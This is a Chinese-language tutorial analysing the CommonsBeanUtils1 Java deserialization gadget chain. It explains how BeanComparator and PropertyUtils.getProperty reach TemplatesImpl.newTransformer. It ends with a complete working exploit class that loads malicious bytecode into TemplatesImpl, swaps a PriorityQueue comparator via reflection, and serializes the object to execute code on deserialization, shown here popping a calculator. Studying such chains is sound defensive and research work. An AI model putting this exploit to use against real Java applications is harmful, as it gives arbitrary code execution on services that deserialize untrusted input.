Java反序列化-CommonsBeanUtilsa1l链分析
前言
环境搭建
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.8.3</version>
</dependency>
Person.java代码:
package org.example;
public class Person {
private String name;
private int age;
public Person(String name, int age){
this.name = name;
this.age = age;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
}
Bean.java代码:
package org.example;
import org.apache.commons.beanutils.PropertyUtils;
public class Bean {
public static void main(String[] args)throws Exception{
Person person=new Person("aaa",18);
System.out.println(PropertyUtils.getProperty(person,"age"));
}
}
运行之后看到了age变量,发现它自动调用了getAge方法
CB1链原理
打断点分析getProperty
F7来到了getNestedProperty方法,一直往下走
然后在这里发现了我们熟悉的反射调用方法
这里发现之前的属性变量age变成了Age,然后自动就加上了get拼接Age变成了getAge方法。
最后再反射调用,读取的方法以及对象类型
getProperty的利用
通过断点分析,我们知道,getProperty方法会将name属性值的命名结构改成驼峰格式
所以我们需要找能够过加载恶意字节码或者命令执行的一个类的方法,用这种方式进行调用。
实际上 Templateslmpl类中的getOutProperties这个方法恰好符合这个结构,并且这里调用了newTransformer方法,这个方法我们在之前的链子调用中也是见过的。
构造链子
成功弹出计算器
入口链的寻找
那就要继续寻找谁调用了getProperty
方法
然后我们这里就看到了很熟悉的一个compare方法,这也是之前在CC2里面构造过的。
让我回顾一下CC2链的构造过程
所以这条CB1链子和CC2链子的区别就是把中间改了一下,不再借用InvokerTransformer方法调用TemplatesImpl.newTransformer方法,而是借用BeanComparator.compare->PropertyUtils.getProperty->TemplatesImpl.newTransformer进行恶意执行
入口链为PriorityQueue的反序列化一步步下来调用compare.compare。
这部分的内容在之前的CC4链和CC2链中都是分析过的,因为此类函数的执行中会判断队列的长度,所以这里必须add添加数组,将恶意类添加进去,但是由于add就会间接触发后续的链子,所以这里必须先传入一个无用的参数,到后面再借用反射修改参数,将beanComparator传入comparator。
最终exp
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import javax.xml.transform.Transformer;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Comparator;
import java.util.PriorityQueue;
public class CB1 {
public static void main(String[]args)throws Exception{
TemplatesImpl templates=new TemplatesImpl();
Class c=templates.getClass();
Field name=c.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aa");
Field bytecode=c.getDeclaredField("_bytecodes");
byte[] eval= Files.readAllBytes(Paths.get("D://Download//cc1//target//classes//org//example//Calc.class"));
byte[][]code={eval};
bytecode.setAccessible(true);
bytecode.set(templates,code);
Field tfactory=c.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
//PropertyUtils.getProperty(templates,"outputProperties");
BeanComparator beanComparator=new BeanComparator("outputProperties",new BeanComparator());
TransformingComparator transformingComparator=new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(1);
Class cl=priorityQueue.getClass();
Field bean=cl.getDeclaredField("comparator");
bean.setAccessible(true);
bean.set(priorityQueue,beanComparator);
serialize(priorityQueue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
ois.readObject();
return ois;
}
}
总结
CB1链如图